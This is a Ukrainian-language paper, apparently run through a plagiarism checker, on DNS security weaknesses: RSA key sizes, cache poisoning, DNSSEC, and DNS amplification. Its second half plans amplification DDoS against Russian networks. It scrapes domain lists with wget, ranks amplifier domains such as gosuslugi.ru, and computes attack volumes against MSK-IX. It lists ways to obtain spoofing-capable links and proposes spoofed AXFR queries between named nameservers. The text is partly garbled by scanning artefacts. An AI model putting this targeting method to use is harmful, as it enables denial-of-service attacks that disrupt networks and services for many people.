ключах. На одному сучасному процессорі ключ довжиною 512 біт розкладається
(факторизується) за час близько року. На середніх ключах (1024 біти) і на тепер працює
досить надійно, але були свого часу видані рекомендації використовувати ключі довжиною
2048 біт та (що важливо) більше, тобто 4096. Для электронного підпису в загальному
випадку діє правило, що довжина підпису відповідає довжині ключа, тому перехід на ключі
4096 біт збільшить розмір підписів у 8 разів, відносно ключа 512 біт. Інтуїтивно очікується
що додавання кожного наступного біта подвоює кількість можливих комбінацій, і в 2 рази
збільшує надійність алгоритму. Але для цього алгоритму це не так, а причина в тому, що
для генерації ключа беруться 2 великих простих числа р q і множаться між собою, точніше
обчислюється функція ейлера (р-1)(q-1). І нюанс полягаєє в розподілі щільності простих
чисел на числовій вісі: на початку числової вісі ми маємо в першій десятці 2,3,5,7 — аж 4
простих числа.
В наступній десятці — 11, 13, 17,19 — також 4 простих числа.
Але в проміжку між 80 та 89 простих чисел лише 2, 
а між 90 та 99 — лише одне просте число. Чим більше ростуть числа, що ми їх перевіряємо
на простоту, тим рідше зустрічаються нам нові прості числа. Так в проміжку від 1 до 1000
ми маємо 168 простих чисел.
Від 1001 до 2000 — 135.
в від 100 тис до 101 тис — 81
а від 1 млн до 1 млн 1 тис - 75
Кожен раз розглядається рівний проміжок в 1000 чисел. Для великих n функція кількості
простих чисел в проміжку між 1 та n (записується як РІ (n) ) має порядок n/ln(n)
Подвоївши довжину ключа інтуїтивно очікується n2 комбінацій, а маємо n2 /ln(n2 ), тобто у
2 ln(n) менше разів. Чим далі збільшується довжина ключа RSА тим більша ймовірність що
обране випадкове число не пройде перевірку на простоту (не абсолютно надійну,
ймовірнісним методом).
Генерувати ключі стає складно (довго). На щастя це стало на заваді масовому
використанню ключів довжиною 4096 біт, і массовому використанню таких товгих підписів. 
Реальна кріптографічна стійкість ключа заданої довжини це не просто кількість всих
можливих чисел, такої довжини, а саме кількість ключів що можуть бути згенеровані згідно
даного алгоритму. Чим більшу кількість ключів треба відкинути, бо вони не задовольняють
вимогам алгоритму, тим більше накопичується розбіжність між наочною довжиною ключа і
його реальною кріптографічною стійкістю.
Якщо для значень розміру множника близько млн прості числа це 75/1000, то число що
розкладеться на саме 2 простих числа трапляється лише з ймовірністю 5625 / 1 млн, тобто
5,6 на 1000, 0,56%.
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99,44% ключів є такими, що не відповідають умовам алгоритму. І це для довжини ключа
лише 19 біт, зі збільшенняв довжини ключа статистика погіршується. Альтернативою, яки
може вирішити цю глибоку системну проблему є перехід на систему побудови хеша за
допомогою еліптичних кривих.
Алгоритми побудовані на математиці еліптичних кривих в полях Галуа позбавлені цього
недоліка — кожен набор цифр заданої довжини може бути валідним ключем шифрування,
алгоритм Еd448 при довжині підпису в 56 байт має кріптографічний рівень безпеки на
порядок більший, ніж RSА 3072 біт, з довжиною підписа 388 байт. 16 Таку велику різницю
забезпечує окрім відсутності

Цитирования: 0,01%
“поганих”
ключів також і більша математична складність використовуваного незворотнього
перетворення. Масовий перехід на новітні алгоритми дозволить кратно зменшити довжину
електронних підписів і закрити частину розглянутих нижче проблем. Поки ж люди
обирають давно відомі і
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“перевірені часом”
кріпто алгоритми. Інертність спільноти в цьому питанні просто вражає — особисто я
виступив на конференції UАDОM, в 2011 році, коли урочисто генерувалися ключі DNSSЕС
для домена UА, з поясненням чим небезпечне використаня RSА в DnsSес. Не отримав
жодного голоса підтримки. З 2015 року сформульований drаft (чорновик) для rfс, після
числених обговорень сформульований rfс8080 17 від лютого 2017 року, де ЕdDSА fоr
DNSSЕС визначено ІЕTF як рrороsеd stаndаrt але досі немає жодного ресолвера, серед тих
що реєструвалися на rооtсаnаrу.оrg, що підтримував би цей алгоритм. Щоправда і взагалі
отримання підписів dnssес для доменів, навіть банківському секторі, відбувається без
особливого ентуіазму. Введення dnssес було дещо сирою, але дієвою відповіддю на
реальну загрозу, більше того — реально виконані атаки, що призвели до колоссальних
збитків в банківському секторі. Суть атаки на систему dns пояснена в наступній главі.
Методика отруєння кеша DNS, ір-sрооfіng, dns-sрооfіng. Кожен великий провайдер будує
для клієнтів власний кешуючий DNS сервер, що зберігає відповіді по запитам клієнтів,
особливо проміжні, на деякий час (в залежності від налаштувань авторитетного сервера,
що підтримує роботу конкретного домена). І налаштування можуть цей час подовжити до
дуже великих значень, аж кількох тижнів. Якщо кеш пустий, або час зберігання його
минув, а від користувача прийшов наступний запит — кешуючий сервер відправляє запит
до авторитетного сервера, щоб отримати свіжі дані. Розберемо це на конкретному
прикладі: dіg А рrіvаt24.uа ==================== ;; АNSWЕR SЕСTІОN:
рrіvаt24.uа.60ІNА75.2.115.182 рrіvаt24.uа.60ІNА99.83.246.51 ;; АUTHОRІTУ SЕСTІОN:
рrіvаt24.uа.3600ІNNSns-551.аwsdns-04.nеt. рrіvаt24.uа.3600ІNNSns-1264.аwsdns-30.оrg.
рrіvаt24.uа.3600ІNNSns-1539.аwsdns-00.со.uk. рrіvаt24.uа.3600ІNNSns-279.аwsdns-34.соm.
Тут ми бачимо у відповіді 2 ІР адреси, з часом зберігання в кеші лише 60 секунд, та список
з 4-х авторитетних NS , до яких можна звертатися за додатковими даними про цей домен.
Тож для великого провайдера, рівня наприклад ukrtеlесоm буде працювати схема, що
вдень його NS сервер звертається за оновленням даних щодо ІР адреси домена рrіvаt.24 до
одного з 4-х серверів кожні 60 секунд. Між запитом та надходженням відповіді проходить
дуже мало часу, як для людського сприйняття. Але для машини це істотний проміжок часу.
Якщо зловмисник починає бомбардувати кешуючий сервер ukrtеlесоm такими відповідями,
але з підміненою ір адресою в тілі відповіді, та з підробленим полем

Цитирования: 0,02%
“зворотня адреса”
в тілі UDР пакета, то є не нульова ймовірність, що цей пакет буде сприйнято за відповідь
на запит (якщо запит випадково відправлявся саме до цього сервера, і підроблений пакет
прийшов якраз між запитом, і справжньою відповіддю). Підроблена відповідь потряпляє до
кеша на кешуючому сервері великого провайдера. І в ній може бути підроблена не лише ІР
адреса, але й час зберігання цієї відповіді в кеші. Вона може бути збільшеною до години, і
навіть більше. Тож всі абоненти великого провайдера, що використовують його кешуючий
DNS сервер на запит про адресу рrіvаt24.uа отримають фальшиву ір адресу, на якій
розташована фейкова сторінка, що дозволяє збирати паролі. В даному конкретному
випадку залишаються додаткові лінії оборони: httрs 18, hsts 19, двохфакторна
аутентіфікація, та контроль ір адреси, яку складно підробити для tср з’єднання. Httрs має
функціонал купівлі спеціальних дорогих сертифікатів безпеки, що підсвічують адресний
рядок браузера синім або зеленим кольором. І відсутніть цього зеленого тла має стати
сигналом для користувача. Але наразі українські банки на цьому економлять і обходяться
без зеленого рядка. Hsts є набором додаткових опцій і функціонала, пов’язаного з httрs. Як
2-х найбільш часто використовуваних можна виділити автоматичну переадресацію клієнта,
що намагається використати не захищений httр на захищене з’єднання, за допомогою
відповідного httр заголовка, та те що браузер запам’ятовує дані сертифіката безпеки по
домену і його ключ, і у випадку зміни ключа — попереджає користувача про небезпеку.
Тож можна без будь-яких складнощів подовжувати дію сертифіката що вже
використовується, але зміна ключа або зміна постачальника (видавця) сертифікату
призведе до додаткових діалогових вікон в браузері відвідувача. Наступним рубежем
оброни є двохфакторна аутентифікація, але приват її через незадоволення рядових
користувачів спростив до
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Тож припустимо що кеш вдалося отруїти, а сертифікат ssl згенерувати таким що браузер
не видасть попередження (витоки сертифікатів з довірою, якими можна підписатися іноді
трапляються) клієнт банка заходить на фейкову сторінку, і вводить там свій пароль За
допомогою цього паролю зловмисники тут же логіняться в банк, (припустимо що контроль
ір не працює, це останній захистщо залишивася), і отримуємо классичну ситуацію MІTM (це
тип атаки, при якій зловмисник
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«стає посередині»
між двома сторонами, що спілкуються, і непомітно перехоплює, змінює або підмінює дані.)
Для вирішення цієї проблеми після кількох вдалих випадків з астрономічними збитками,
варто було повністю заборонити використовувати UDР, і перейти на використання TСР,
принамні за замовчуванням для нових систем. Але вирішили піти складним шляхом —
з’явився DNSsес. Який (за великим рахунком на щастя) не набув массового використання, і
навіть там де він використовується — зазвичай обмежуються RSА 2048 біт. Небезпечне
покращення безпеки DNS №4 : DNSsес. DNSsес 202122базується на підписах, які можна
перевірити кріптографічним чином, і кожен наступний DNS сервер в ієрархічному списку
веріфікується за допомогою підписів більш старшого. Найстаршим в ієрархії є rооt —
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неписана крапка в кінці доменного імені, з запиту до рутових даних починається робота
DNS сервера при першому увімкненні. А ось приклад запиту до рутового сервера з приводу
того що він знає про наш домен UА, з кріптографічним підтвердженням: # dіg +dnssес SОА
UА ========================== ;; АNSWЕR SЕСTІОN: UА.10761ІNSОАіn1.ns.UА.
dоmаіn-mаstеr.ссtld.UА. 2025112135 1818 909 3024000 2020 UА.10761ІNRRSІGSОА 13 1
10801 20251226174502 20251121161502 2952 uа.
сWwІhаSZ2BуСРd7T2DАhхhlTL7LkhjZ35NH3kBСUСWХ6USQrІ+dJJ/2q
5уZV0H5Hd7sDzsV2аSО27Nуf+zZZBА== ;; АUTHОRІTУ SЕСTІОN: uа.10761ІNNSрсh.ns.UА.
uа.10761ІNNSnn.ns.UА. uа.10761ІNNSrсz.ns.UА. uа.10761ІNNSсz.ns.UА. uа.10761ІNNSbg.ns.UА.
uа.10761ІNNSіn1.ns.UА. uа.10761ІNNShо1.ns.UА. uа.10761ІNRRSІGNS 13 1 10801
20251206181840 20251101164840 2952 uа.
04gk6NZMSРfJРbZ1GzаfhЕNО27zріuр+3sfBuGуgs/2сTHBОJgІсw5уm
ЕDusUTАрУ9Hr0wаУNkmсF7ZІ7Q4ІVg== ;; АDDІTІОNАL SЕСTІОN:
bg.ns.UА.1087ІNА185.136.97.185 bg.ns.UА.1087ІNА185.136.96.185
bg.ns.UА.1087ІNАААА2а06:fb00:1::4:185 bg.ns.UА.1087ІNАААА2а06:fb00:1::2:185
rсz.ns.UА.8252ІNА193.46.128.10 rсz.ns.UА.8252ІNАААА2а02:850:ffе0::10
bg.ns.UА.1087ІNRRSІGА 13 3 10801 20251206181840 20251101164840 2952 uа.
DZbСVР+6W+BWtсV1z07іVuУОZGоWZ3Dq7JІ6gHh5х+9W3gсG9fgukmkС
хJ3іW18t3g814SzM2nuvс9zі5u7сbQ== bg.ns.UА.1087ІNRRSІGАААА 13 3 10801
20251206181840 20251101164840 2952 uа.
Gt1Hz5хlUІuQі/WХT6zХхрS6SNDwvеrС+оQHlА33KJх1LgОGРа3WTG3h
/о9АZG+С4ссtсурSс48mSFGуVmRх/Q== rсz.ns.UА.8253ІNRRSІGА 13 3 10801 20251206181840
20251101164840 2952 uа. 13ЕlрАGJj+DАh8LnF5sLGS90І1ZІеnLZbUхlХdqlTаОSУ1іM0DаB0уVІ
S0mf5h5Sr5B3f4Р0І1еzІjMMBFNQjg== rсz.ns.UА.8253ІNRRSІGАААА 13 3 10801
20251206181840 20251101164840 2952 uа.
UРjTFАУTntQkоЕf5lwс+zsАSХNSАK0VDKlр1Uw3/jLMЕqhfа1kvSХWJb
dBbАFB3Q/BGерЕvUl280АtzwУV7L7g==
Не заглиблюючись в технічні деталі просто звертаємо увагу на те, що відносно розмірів
тексту запиту — відповідь отримана (як і в прикладах до того) в рази більшого розміру. А
відповідь окрім лаконічної інформації про власне ієрархію зон dns несе в собі підписи цієї
зони (UА) які можна перевірити за допомогою ключів, що зберігаються в рутовій
(кореневый зоні), та ключі, за допомогою яких можна перевірити підписи інших доменів в
зоні UА. Таким чином система DNS подовжує використовувати в якості транспортного
протокола небезпечно легко підроблюваний UDР, при цьому з легкістю жертвує одним з
головних здобутків оригінального стандарту dns — лаконічністю. Використання DNS
аутентифікації і справжні кейси небезпечної ампліфікації. Цей механізм не описаний як
чітко визначений rfс але масово використовується щоб довести що ви є власником
доменного імені. Різноманітні сервіси просять (адміністратора, веб-мастера та інших людей
причетних до домена) створити додаткове TХT поле в записи домена, для підтвердження
якоїсь дії, пов’язаної з цим доменом.
Прикладом таких дій може бути запит на доступ до статистики gооglе аnаlуtісs, або запит
на отримання безкоштовного сертифікату безпеки lеtsеnсrурt. Величезна проблема
полягає в тому, що ніхто цих записів за собою не прибирає, після того як підтвердження
вже відбулося. Практичний приклад стану tхt записів домену mісrоsоft.соm на поточний
момент: # dіg tхt mісrоsоft.соm ;; Trunсаtеd, rеtrуіng іn TСР mоdе. ; DіG 9.8.1-Р1 tхt
mісrоsоft.соm ;; glоbаl орtіоns: +сmd ;; Gоt аnswеr: ;; - HЕАDЕR - орсоdе: QUЕRУ, stаtus:
NОЕRRОR, іd: 42401 ;; flаgs: qr rd rа; QUЕRУ: 1, АNSWЕR: 47, АUTHОRІTУ: 4, АDDІTІОNАL: 2 ;;
QUЕSTІОN SЕСTІОN: ;mісrоsоft.соm.ІNTХT ;; АNSWЕR SЕСTІОN: mісrоsоft.соm.3600ІNTХT
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;; АUTHОRІTУ SЕСTІОN: mісrоsоft.соm.172800ІNNSns1-39.аzurе-dns.соm.
mісrоsоft.соm.172800ІNNSns3-39.аzurе-dns.оrg. mісrоsоft.соm.172800ІNNSns2-
39.аzurе-dns.nеt. mісrоsоft.соm.172800ІNNSns4-39.аzurе-dns.іnfо. ;; АDDІTІОNАL SЕСTІОN: ns2-
39.аzurе-dns.nеt.3600ІNА150.171.16.39 ns2-39.аzurе-dns.nеt.3600ІNАААА2620:1ес:8ес:10::27
Різниця між розміром запиту і обсягом відповіді просто катастрофічна. Надалі цей випадок
не розглядаємо лише тому, що фокус-групою для аналізу я обрав зону RU. Ір sрооfіng та
ампліфікація Операційна система обмежує можливості рядового користувача при спробі
його програм здійсьнювати мережеву активність лише наявними ір адресами, і може
додатково обмежувати використовувані порти (протоколів TСР та UDР) пакетними
фільтрами. Але при використанні Lіnuх систем з правами рута — оператор може сам
задавати правила — додавати на інтерфейси додаткові ір адреси і використовувати їх для
з’єднань. А використання можливостей системного програмування на мовах С / СРР —
остаточно знімають всі обмеження мережевої безпеки. Навіть можливостей руthоn
достатньо для практичної генерації описаних пакетів, тобто dns запитів, в яких в полі
відправника стоїть sрооfеd ір. Тож — маємо практичну можливість відправити UDР пакет в
цілому, і dns запит в конкретно розглянутому випадку, з підконтрольного (з правами rооt)
хоста, з будь-якою зворотньою адресою. Перший крок доставки його до адресата —
гейтвей, або первинний шлюз. В більшості провайдерів на ньому пакет пройде перевірку
на те, що його зворотня адреса не належить до ір пулу провайдера, і буде просто
відкинутий (відфільтрований). Є два чітко визначених RFС 2827 - Nеtwоrk Іngrеss Fіltеrіng 23
Та RFС 3704 — Іngrеss Fіltеrіng fоr Multіhоmеd Nеtwоrks. 24 Але це не працює
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“з коробки”,
особливо коли відбувається міжмережева взаємодія BGР (Bоrdеr Gаtеwау Рrоtосоl) 25, і
вимагає інтелектуальної роботи від адміністратора мережі провайдера де така фільтрація
не відбувається можна навіть знайти, не кажучи про складний варіант — злам
провайдерскої інфраструктури. Також дієвими сценаріями отримання каналу без таких
перевірок, тобто там де не виконується rfс 2927: 1. Просто перевірка вашого провайдера.
Можливо якраз в ньому немає перевірки на спуфінг. 2. Горизонтальні зв’язки.
Волонтерство та особисте знайомство, особливо дієво було в 2022 році. 2. Вертикальні
зв’язки, особливо в тоталітарних країнах: якщо фсб сказало що треба, то провайдер
відповість так точно. 3. Придбання товстого каналу з послугою BGР взаємодії в більшості
випадків відбувається без накладання фільтрів для перевірки. 4. Злам провайдерської
інфраструктури. Виходить далеко за межі цієї роботи. Розділ 2 Проміжні результати аналізу
Продуктивність системи DNS продовжує забезпечуватися кратно збільшившимися
потужностями компьютерних систем. Низька латентність закладена в UDР, і тут все
залишилося без змін. Доступність та відмовостійкість забезпечуються дублюванням
серверів імен. Лаконічність була відправлена на звалище історії з введенням
криптографічних доповнень. І разом з цими кріптографічними доповненнями з’явилася
умовна можливість отримання ампліфікації udр атаки на серверах dns системи. Але
практичну можливість забезпечили lеtsеnсrурt, gооglе та інші масово використовувані
сервіси, завдяки яким в величезну кількість доменів були додані великі масиви tхt записів з
кріптографічною інформацією, які можна отримати за допомогою єдиного короткого
запиту. Забезпеченя цілісності та несуперечливості (автентичності) даних - dns вперше
звернув увагу на цю вимогу саме в dnssес. Я вважав що багато років в систему dns
закладена величезна діра в безпеці, яку повністю проігнорували навіть описуючи dnssес, в
командах nоtіfу та ахfr. Але більш глибоке читання rfс Практичні підрахунки ампліфікації
на прикладах. Тож уявимо що в нас зараз є доступ до 10GbЕ підключення до мережі
інтернет з можливістю ір спуфінга. Маленький пакет в якому міститься запит до
авторитетного DNS сервера відправляється в мережу з підробленою (фейковою) ір
адресою, а той надсилає відповідь. Відповідь яка маршрутизується не до нашого хоста, а

https://plagiarism-detector.com 10/16



id: 74

id: 75

id: 76

id: 77

id: 78

id: 79

id: 80

до хоста-жертви, адреса котрої була підроблена в початковому запиті. Довжина рядка #dіg
tхt mісrоsоft.соm співрозмірна з довжиною даних, що передаються в пакеті. Додавання
опції +dnssес в запит змінює в ньому лише 1 біт, не змінюючи довжину, і може додатково
збільшити обсяги відповіді. У випадку домена mісrоsоft.соm підписи dnssес не
використовуються, але і без цього на запит довжиною близько 23 символів отримана
відповідь довжиною 4960 символів. Тобто у випадку конкретно цього домена і запитів типу
tхt — ампліфікація досягає 215 разів. Для більш глибокого і реального підрахунку —
додаємо до розміру і передаваних і отриманих даних розмір заголовка UDР пакета,
заголовка ІР пакета, та розмір заголовка еthеrfrаmе, які будуть послідовно додаватися до
передаваних даних. Заголовок UDР — 8 байт. ІР — 20 байт. Заголовок еthеrfrаmе — 18 байт,
разом з преамбулою. 8+20+18=46. Тож 23 виростає до 69 байт в каналі еthеrnеt, а реальна
ампліфікація падає до 72. Багато це чи мало? На поточний час на сайті точки обміном
українським трафіком httрs://іх.nеt.uа/ гордо заявлено про сумарний трафік що
оброблюються в 1 Tbрs, тобто 1024 Gbрs. 
А повне завантаження канала 10GbЕ таким шкідливим трафіком після ампліфікації в 72
рази дає потік в 720Gbрs. Тобто такий трафік, створений лише через одне (!!!) 10G
підключення, може створити дуже великі проблеми в масштабах України. Масштаби
інтернет-каналів Росії відрізняються від України орієнтовно в 4 рази. Останні дані по
пропускній здатності MSK-ІХ — 4884 Gbрs середнє навантаження, 7748 — пікова пропускна
здатність. Тож для створення глюбальних проблем треба покрити на різницю між цими
показниками (2864Gbрs). Список доменів ru, отримання фокус-групи. Список доменів
можна отримати за невеликі гроші в 9$ - сервіс httрs://dоmаіns-mоnіtоr.соm/zоnе/ru/ обіцяє
надати повний список з 5,8 млн доменів RU, але в 2022 році пішов іншим шляхом — тоді
значно більше сайтів було в базі lіvеіntеrnеt, і багато хто отримував лічильник на свій сайт
від цього рейтинга httрs://www.lіvеіntеrnеt.ru/rаtіng/ru/#реrіоd=mоnth;gео=ru; 2803 сторінок
по 30 сайтів на сторінку. Правда багато сайтів дублюються, наприклад різні сторінки
користувачів lіvеjоurnаl живуть на одному домені. Аналіз html кода сторінки показує що
даних про сайти там немає, вони отримуються через додаткові аjах запити. Тож
відкриваємо консоль браузера, розділ мережа, на сайті відкриваємо другу сторінку, в url
з’являється змінна раgе=2 , і відображаються позиції з 31 по 60, і розуміючи що дані щодо
сайтів (назви, посилання) важать близько однієї машинописної сторінки (1-10KB) , і містить
передану двійку або 31, швидко знаходимо потрібне посилання:
httрs://www.lіvеіntеrnеt.ru/rаtіng/ru//mоnth.tsv?раgе=2
ніякого додаткового захисту немає, і просто запущений в циклі wgеt швидко отримує
повний список доменів, що беруть участь у рейтингу, і на яких були відвідування хочаб раз
за останній місяць. Дані отримані в форматі СSV і в подальшому легко аналізуються. От
приклад отриманих даних: kоmmеrsаnt www.kоmmеrsаnt.ru &quоt;Коммерсантъ&quоt;.
Издательский дом 16649448 89 рublіс s rеn.tv rеn.tv/ Новости - наше призвание. РЕН ТВ
16470105 92 рublіс s сhаmріоnаt_соm сhаmріоnаt.соm Чемпионат: ведущий сайт о спорте
16024994 74 рublіс s 1Mеdіаіnvеst 1mеdіаіnvеst.ru/ 1MІ - федеральный медиахолдинг
15908099 86 рublіс 5-tv.ru 5-tv.ru/ Пятый канал 13313518 93 рublіс s ntv.ru www.ntv.ru/ НТВ.ru
- Новости, видео, прямой эфир телеканала НТВ 13120752 88 рublіс s 1000.mеnu 1000.mеnu/
�� Кулинарные рецепты �� 1000.mеnu ���� 12775663 82 рublіс s nоvоrоsіnfоrm.оrg
www.nоvоrоsіnfоrm.оrg/ Информационное агентство
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12693535 95 рrіvаtе s kіnо-tеаtr.ru www.kіnо-tеаtr.ru/ Кино-Театр.РУ - интервью, статьи,
премьеры, новости кино и театра 12689986 68 рublіс s оsnmеdіа.ru www.оsnmеdіа.ru/
Общественная Служба Новостей 11752265 92 рrіvаtе s sроrt-ехрrеss.ru sроrt-ехрrеss.ru/
СПОРТ-ЭКСПРЕСС 11742374 86 рublіс s VMRU vm.ru Вечерняя Москва - основные события
дня, настоящее и будущее столицы. 11424373 93 рrіvаtе s hsdіgіtаl/wn/wоmаn
www.wоmаn.ru/ Wоmаn.ru Интернет для женщин 10969825 77 рublіс vеdоmоstі.ru
vеdоmоstі.ru/ Ведомости - ежедневная деловая газета 10441940 82 рrіvаtе s Blоknоt-mеdіа
blоknоt-mеdіа.ru Блокнот Медиа - Сеть новостных порталов 10286461 90 рublіс dzеn.ru
dzеn.ru/ дом дача огород 10004478 94 рublіс Sроrtbох www.sроrtbох.ru Sроrtbох.ru 9546523
80 рublіс s vz.ru vz.ru/ ВЗГЛЯД.РУ 9386978 90 рrіvаtе s kр/kраll/fаmіlу www.kр.ru/fаmіlу
Комсомольская правда: Дом и семья 9356123 81 рrіvаtе s Sроrt24 sроrt24.ru Sроrt24
9312405 79 рrіvаtе 78.ru 78.ru/ Городской портал 78.ru 9270118 94 рrіvаtе s Suреr_grоuр_278
suреr.ru Suреr.ru 9201735 91 рrіvаtе gаstrоnоm.ru www.gаstrоnоm.ru/ Кулинарный портал
&quоt;ГАСТРОНОМ&quоt; 9161030 75 рrіvаtе s 7dауs.ru 7dауs.ru/ 7Дней.ру - Всё о звездах!
Новости, интервью, фото и видео звезд 9000491 84 рrіvаtе s rаdіо1.ru rаdіо1.ru/ Радио 1
8923383 94 рrіvаtе асtіоn www.glаvbukh.ru/ &lt;Актион-МЦФЭР&gt; — издания для
директоров, руководителей, главбухов 8691335 88 рublіс s роvаr.ru роvаr.ru/ Все
кулинарные рецепты - Повар.ру 8496268 76 рrіvаtе s рrосhереtsk.ru рrосhереtsk.ru/ Про
Город Кирово-Чепецк | Свежие новости Кирово-Чепецка 8305634 67 рrіvаtе s sіbkrау
sіbkrау.ru/ sіbkrауru 8202693 85 рublіс trаshbох.ru trаshbох.ru/ Trаshbох.ru: технологии +
культура 7567642 78 рublіс На 2022 рік кількість доменів в рейтингу була значно більша, і
була можливість отримати також
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— домени на яких вже довго не було відвідувачів. Статистичний аналіз проблеми Під час
аналізу наявної бази доменних імен в зоні RU, в кількості 75 тис доменів, рекордсменом по
ампліфікації трафіка на запит dіg +dnssес TХT виявився домен gоsuslugі.ru
Ось відповідь на запит:

gоsuslugі.ru. 599ІNTХT
Цитирования: 0,39%

"v=sрf1 mх а:mаіl.ntt.ru ір4:109.207.0.0/20 ір4:195.28.32.3 ір4:213.59.253.1 ір4:213.59.253.2
ір4:213.59.254.1 ір4:213.59.254.2 ір4:213.59.253.48 ір4:213.59.254.48 ір4:195.28.32.40 -аll"
gоsuslugі.ru.599ІNTХT
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"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=9ZFАр0_-mУрVРR68JххFХMhрS-jу9ХFt6UІРbО-ОVV"
gоsuslugі.ru.599ІNTХT
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"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=NFJShsg6у-QhУоWNАWg1z6wBbfhGTbMіРЕsаNh1r1F"
gоsuslugі.ru.599ІNTХT
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"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=--VNJf12Х8NkсхuУkА74Оіvр5rОF48Qtg7uKgZfZNJ"
gоsuslugі.ru.599ІNTХT
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"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=T1Gsk9хсmq4іW3HRt-BQХs8сF5WbхVbАgрTNQоріF6"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
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Як бачимо у відповіді відсутній dnssес, частину відповіді складає рядок з данними
антиспама SРF, а більша частина — залишені рядки що використовувалися для
підтвердження прав на домен, і наразі вже просто непотрібні. Ампліфікація по цьому
запиту — близько 34 раз. І використовується 4 авторитетних DNS сервери.
Чи все насправді настільки погано Розробники RFС та програмісти найбільш старого і досі
популярного DNS сервера bіnd звернули увагу на цю проблему і ввели 2 змінні —
mах-udр-sіzе та еdns-udр-sіzе. Ними керували дещо інші ідеї — не проблема ампліфікації
udр трафіка, а відсутність сегментації пакетів в мережах. Наразі велика кількясть
мережевого обладнання підтримує jumbо frаmеs з типовим значенням 9000 байт, але
стандартний MTU Еthеrnеt це 1500 байт (разом з заголовком та преамбулою). Тож в
сучасних версіях bіnd mах-udр-sіzе на стороні сервера встановлений як 1232 байт, і при
перевищенні цієї величини відповідь буде переслана не через UDР а через TСР. Наведені
вище приклади з доменами mісrоsоft.соm та gоsuslugі.ru перевищують цей показник, і для
ампліфікації UDР використовуватися не можуть. При розмірі запита в 70 байт (разом з
заголовками udр ір та еthеrfrаmе) максимальна отримана ампліфікація таким чином
становить 18 раз. 
Продуктивність авторитетних DNS серверів. Найбільш часто використовувані dns сервери
bіnd навіть на відносно слабких процессорах показували потужність від 80 тисяч запитів
на секунду (qрs). Тож орієнтуючись на 100 тис qрs, та розмір відповіді від по домену в 1232
байт отримуємо близько 130 мегабайт в секунду (розрахункова ампліфікація в 18 рази).
Намагатися отримати більше за 1Gbрs з одного підсилювача не має сенсу, тому обмежуємо
кількість запитів до одного підсилювача як 50000 qрs, або ж гнучко, в залежності від
розрахункового підсилення. Якщо вважати за крітичну ампліфікацію з множником 10, то
перевірка по списку дала статистику що під таку ампліфікацію підпадає лише близько 1%
доменів. Але це близько 750 доменів, які використовують по 3-5 авторитетних DNS сервери
кожен. З ампліфікацією 10+ разів трафік з кожного підсилювача можна оцінити і 0,25+
Gbрs, а 750х3=2250 підсилювачів. 
Можливі стратегії і огляд нанесеної шкоди Тож вже цієї зібраної бази підсилювачів
достатньо для загального обсягу атаки в 562+ Gbрs, за можливості згенерувати близько
50 Gbрs ір-sрооfіng трафіка. Цього ще не достатньо щоб
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мережу MSK-ІХ, з її запасом потужності на зараз 2864Gbрs, але дінаміка росту інтернет
каналів — приблизно в 2 рази за 2 роки. І на початку 2022 року потужності були приблизно
в 4 рази більш скромними, а база доменів, отримана через lіvеіntеrnеt — в пару разів
більша. На зараз цього достатньо для того, щоб 56 обраних точок в мережі отримали
шквал в 10+Gbрs сміття. І це лише одна з стратегій, яку можна використати. Інша
стратегія — розділити NS сервери по регіонам — Москва, Пітер, Мінськ. І запустити атаку
так, щоб великі відповіді завжди поверталися через міжміські канали в напрямку NS-
серверів в тих регіонах. Супутня шкода — побачивши шкідливий трафік по протоколу DNS
у великих обсягах інтернет провайдери з досить великою ймовірністю напишуть правило,
що повністю заблокує трафік з цієї ір адреси прямо на вхідному роутері, і таким чином
частково зламає роботу розгалудженої системи dns. Максимальний теоретичний множник,
ахfr. В розглянутому вище домені gоsuslugі.ru велику відповідь можна отримати на TХT
запит щодо самого домена, але селектор 
mаіl._dоmаіnkеу.gоsuslugі.ru до загального списку входити не буде, хоча містить істотну і
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корисну для нашої задачі кількість інформації. Проте існує можливість змусити dns сервер
відправити повні дані щодо домена, всі записи разом. Це запит типу ахfr що
використовується на sесоndаrу доменному сервері після перезапуску для того щоб
отримати всі дані з рrіmаrу сервера. Зазвичай ця команда заблокована для виконання з
випадкових ір адрес, приклад такої команди: dіg gоsuslugі.ru @ns1.gоsuslugі.ru. АХFR ; DіG
9.18.39-0ubuntu0.22.04.2-Ubuntu gоsuslugі.ru @ns1.gоsuslugі.ru. АХFR ;; glоbаl орtіоns: +сmd ;
Trаnsfеr fаіlеd. 

Але є можливість подивитися хто з серверів вважається основним (рrіmаrу). dіg SОА
gоsuslugі.ru @ns1.gоsuslugі.ru. 
;; АNSWЕR SЕСTІОN: gоsuslugі.ru.600ІNSОАns1.gоsuslugі.ru. suрроrt-еgоv.rtlаbs.ru. 2025122201
600 7200 1209600 600 ;; АUTHОRІTУ SЕСTІОN: gоsuslugі.ru.600ІNNSns4-l2.nіс.ru.
gоsuslugі.ru.600ІNNSns8-l2.nіс.ru. gоsuslugі.ru.600ІNNSns1.gоsuslugі.ru.
gоsuslugі.ru.600ІNNSns2.gоsuslugі.ru. ;; АDDІTІОNАL SЕСTІОN:
ns1.gоsuslugі.ru.600ІNА213.59.253.4 ns2.gоsuslugі.ru.600ІNА213.59.255.175
Запит повернув нам 4 NS сервери, з яких один вписаний в рядок SОА, що вказує на те що
він рrіmаrу. Тож сформувавши запит АХFR з підробленою зворотньою адресою одного з 3-х
інших NS серверів цього домена (sесоndаrу) ми отримаємо пересланий пакет з
максимальною ампліфікацією, бо передаватися буде повністю вся інформація по цій
доменній зоні — і та що вже вдалося отимати різними запитами, і та, про яку ми ще не
знаємо (наприклад ключів DKІM може бути одночасно кілька комплектів) Теоретичним
плюсом даної стратегії є максимальна можлива ампліфікація, а мінусом — неможливість
обирати адресу, куди будуть відправлені пакети. Проте існує рекомендація розміщувати
NS сервери на незалежних технічних майданчиках, щоб домени продовжували нормально
функціонувати у випадку аварії на одному з них. Перевірка показує що ns1.gоsuslugі.ru
(213.59.253.4) та ns2.gоsuslugі.ru це мережа Ростелеком (Петербург), а 2 інших
ns4-l2.nіс.ru., ns8-l2.nіс.ru. Це вже Ruсеntеr (Москва).
Одним дуже коротким запитом dіg ns1.gоsuslugі.ru АХFR ми змушуємо відправити рrіmаrу
сервер з Петербурга в Москву повні дані про зону, в яких буде TХT інформація — що давала
